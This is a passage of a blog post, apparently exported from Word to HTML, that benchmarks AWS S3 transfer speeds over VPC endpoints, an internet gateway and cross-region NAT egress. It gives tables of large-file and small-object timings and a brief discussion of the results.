  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-right-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">57.75<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:8">
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">86.52<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">59.31<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:9">
  <td width="120" rowspan="4" valign="top" style="width:90.15pt;border-top:none;
  border-left:solid windowtext 2.25pt;border-bottom:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-top-alt:solid windowtext 2.25pt;
  mso-border-alt:solid windowtext 2.25pt;mso-border-right-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Public S3
  Endpoint via IGW (public subnet)<o:p></o:p></p>
  </td>
  <td width="118" rowspan="2" valign="top" style="width:88.15pt;border-top:none;
  border-left:none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1GB<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">22.06<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-top-alt:2.25pt;mso-border-left-alt:.5pt;mso-border-bottom-alt:
  .5pt;mso-border-right-alt:2.25pt;mso-border-color-alt:windowtext;mso-border-style-alt:
  solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">46.35<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:10">
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">18.56<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-right-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">55.11<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:11">
  <td width="118" rowspan="2" valign="top" style="width:88.15pt;border-top:none;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">5GB<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">96.16<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-right-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">53.30<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:12">
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">86.11<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">59.61<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:13">
  <td width="120" rowspan="4" valign="top" style="width:90.15pt;border-top:none;
  border-left:solid windowtext 2.25pt;border-bottom:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-top-alt:solid windowtext 2.25pt;
  mso-border-alt:solid windowtext 2.25pt;mso-border-right-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Public S3
  Endpoint via NAT Gateway in another region (Egress VPC)<o:p></o:p></p>
  </td>
  <td width="118" rowspan="2" valign="top" style="width:88.15pt;border-top:none;
  border-left:none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1GB<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">59.78<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-top-alt:2.25pt;mso-border-left-alt:.5pt;mso-border-bottom-alt:
  .5pt;mso-border-right-alt:2.25pt;mso-border-color-alt:windowtext;mso-border-style-alt:
  solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">17.10<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:14">
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">28.21<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-right-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">36.24<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:15">
  <td width="118" rowspan="2" valign="top" style="width:88.15pt;border-top:none;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">5GB<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">278.46<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-right-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">18.40<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:16;mso-yfti-lastrow:yes">
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">128.96<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">39.74<o:p></o:p></p>
  </td>
 </tr>
</tbody></table><!--kg-card-end: html--><p>Some of the key takeaways of these results are that between Gateway VPC endpoints and Interface VPC endpoints the results are fairly similar, despite the fact that the latter has to traverse the Cloud WAN network to access the endpoint. Public S3 endpoints are <em>almost</em>as good, presumably the slight reduction in throughput is due to a need to traverse the public internet where the endpoint paths remain within the AWS internal network. Finally, the cross-region egress adds significant latency, although not by any means intolerable for applications that are not particularly latency sensitive. Especially for the large file transfer (5Gb) that achieved a throughput is ~36-39 MiB/s in comparison to the ~54-59 MiB/s for the first three tests. This test was conducted between us-east-2 (traffic source) and us-east-1 (egress), so the throughput would also likely be affected by how geographically close the source and egress regions are.</p><hr><!--kg-card-begin: markdown--><h3 id="test-2-%E2%80%93-s3-list-and-download-100000-small-objects-a-nametest-2s3-list-and-download-100000-small-objectsa">Test 2 &#x2013; S3 List and Download 100,000 Small Objects <a name="test-2--s3-list-and-download-100000-small-objects"></a></h3>
<!--kg-card-end: markdown--><p>The S3 list and download tests were conducted to test how quickly each pathway could paginate and retrieve many very small objects (such as logs for example). For this test, 100,000 1Kb objects were generated and placed within the S3 bucket used for testing. The exact same four pathways were used as in the first test.</p><!--kg-card-begin: html--><table class="MsoTableGrid" border="1" cellspacing="0" cellpadding="0" style="margin-left:.25in;border-collapse:collapse;border:none;mso-border-alt:
 solid windowtext .5pt;mso-yfti-tbllook:1184;mso-padding-alt:0in 5.4pt 0in 5.4pt">
 <tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes">
  <td width="186" valign="top" style="width:139.25pt;border:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-alt:solid windowtext 2.25pt;
  mso-border-right-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Network Path<o:p></o:p></p>
  </td>
  <td width="114" valign="top" style="width:85.3pt;border-top:solid windowtext 2.25pt;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-left-alt:solid windowtext .5pt;mso-border-top-alt:2.25pt;
  mso-border-left-alt:.5pt;mso-border-bottom-alt:2.25pt;mso-border-right-alt:
  .5pt;mso-border-color-alt:windowtext;mso-border-style-alt:solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Operation<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:solid windowtext 2.25pt;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-left-alt:solid windowtext .5pt;mso-border-top-alt:2.25pt;
  mso-border-left-alt:.5pt;mso-border-bottom-alt:2.25pt;mso-border-right-alt:
  .5pt;mso-border-color-alt:windowtext;mso-border-style-alt:solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Average Time
  (s)<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border:solid windowtext 2.25pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Average
  Throughput MiB/s<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:1">
  <td width="186" rowspan="2" valign="top" style="width:139.25pt;border-top:none;
  border-left:solid windowtext 2.25pt;border-bottom:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-top-alt:solid windowtext 2.25pt;
  mso-border-alt:solid windowtext 2.25pt;mso-border-right-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Gateway VPC
  Endpoint (same VPC)<o:p></o:p></p>
  </td>
  <td width="114" valign="top" style="width:85.3pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">List<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">43.94<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-top-alt:2.25pt;mso-border-left-alt:.5pt;mso-border-bottom-alt:
  .5pt;mso-border-right-alt:2.25pt;mso-border-color-alt:windowtext;mso-border-style-alt:
  solid;background:#BFBFBF;mso-background-themecolor:background1;mso-background-themeshade:
  191;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal"><o:p>&#xA0;</o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:2">
  <td width="114" valign="top" style="width:85.3pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">555.89<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">3.05<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:3">
  <td width="186" rowspan="2" valign="top" style="width:139.25pt;border-top:none;
  border-left:solid windowtext 2.25pt;border-bottom:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-top-alt:solid windowtext 2.25pt;
  mso-border-alt:solid windowtext 2.25pt;mso-border-right-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Interface VPC
  Endpoint (Shared Services VPC)<o:p></o:p></p>
  </td>
  <td width="114" valign="top" style="width:85.3pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">List<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">44.61<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-top-alt:2.25pt;mso-border-left-alt:.5pt;mso-border-bottom-alt:
  .5pt;mso-border-right-alt:2.25pt;mso-border-color-alt:windowtext;mso-border-style-alt:
  solid;background:#BFBFBF;mso-background-themecolor:background1;mso-background-themeshade:
  191;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal"><o:p>&#xA0;</o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:4">
  <td width="114" valign="top" style="width:85.3pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">576.30<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">2.94<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:5">
  <td width="186" rowspan="2" valign="top" style="width:139.25pt;border-top:none;
  border-left:solid windowtext 2.25pt;border-bottom:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-top-alt:solid windowtext 2.25pt;
  mso-border-alt:solid windowtext 2.25pt;mso-border-right-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">IGW in Public
  Subnet<o:p></o:p></p>
  </td>
  <td width="114" valign="top" style="width:85.3pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">List<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">44.78<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-top-alt:2.25pt;mso-border-left-alt:.5pt;mso-border-bottom-alt:
  .5pt;mso-border-right-alt:2.25pt;mso-border-color-alt:windowtext;mso-border-style-alt:
  solid;background:#BFBFBF;mso-background-themecolor:background1;mso-background-themeshade:
  191;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal"><o:p>&#xA0;</o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:6">
  <td width="114" valign="top" style="width:85.3pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="149" valign="top" style="width:111.85pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">591.65<o:p></o:p></p>
  </td>
  <td width="151" valign="top" style="width:113.1pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
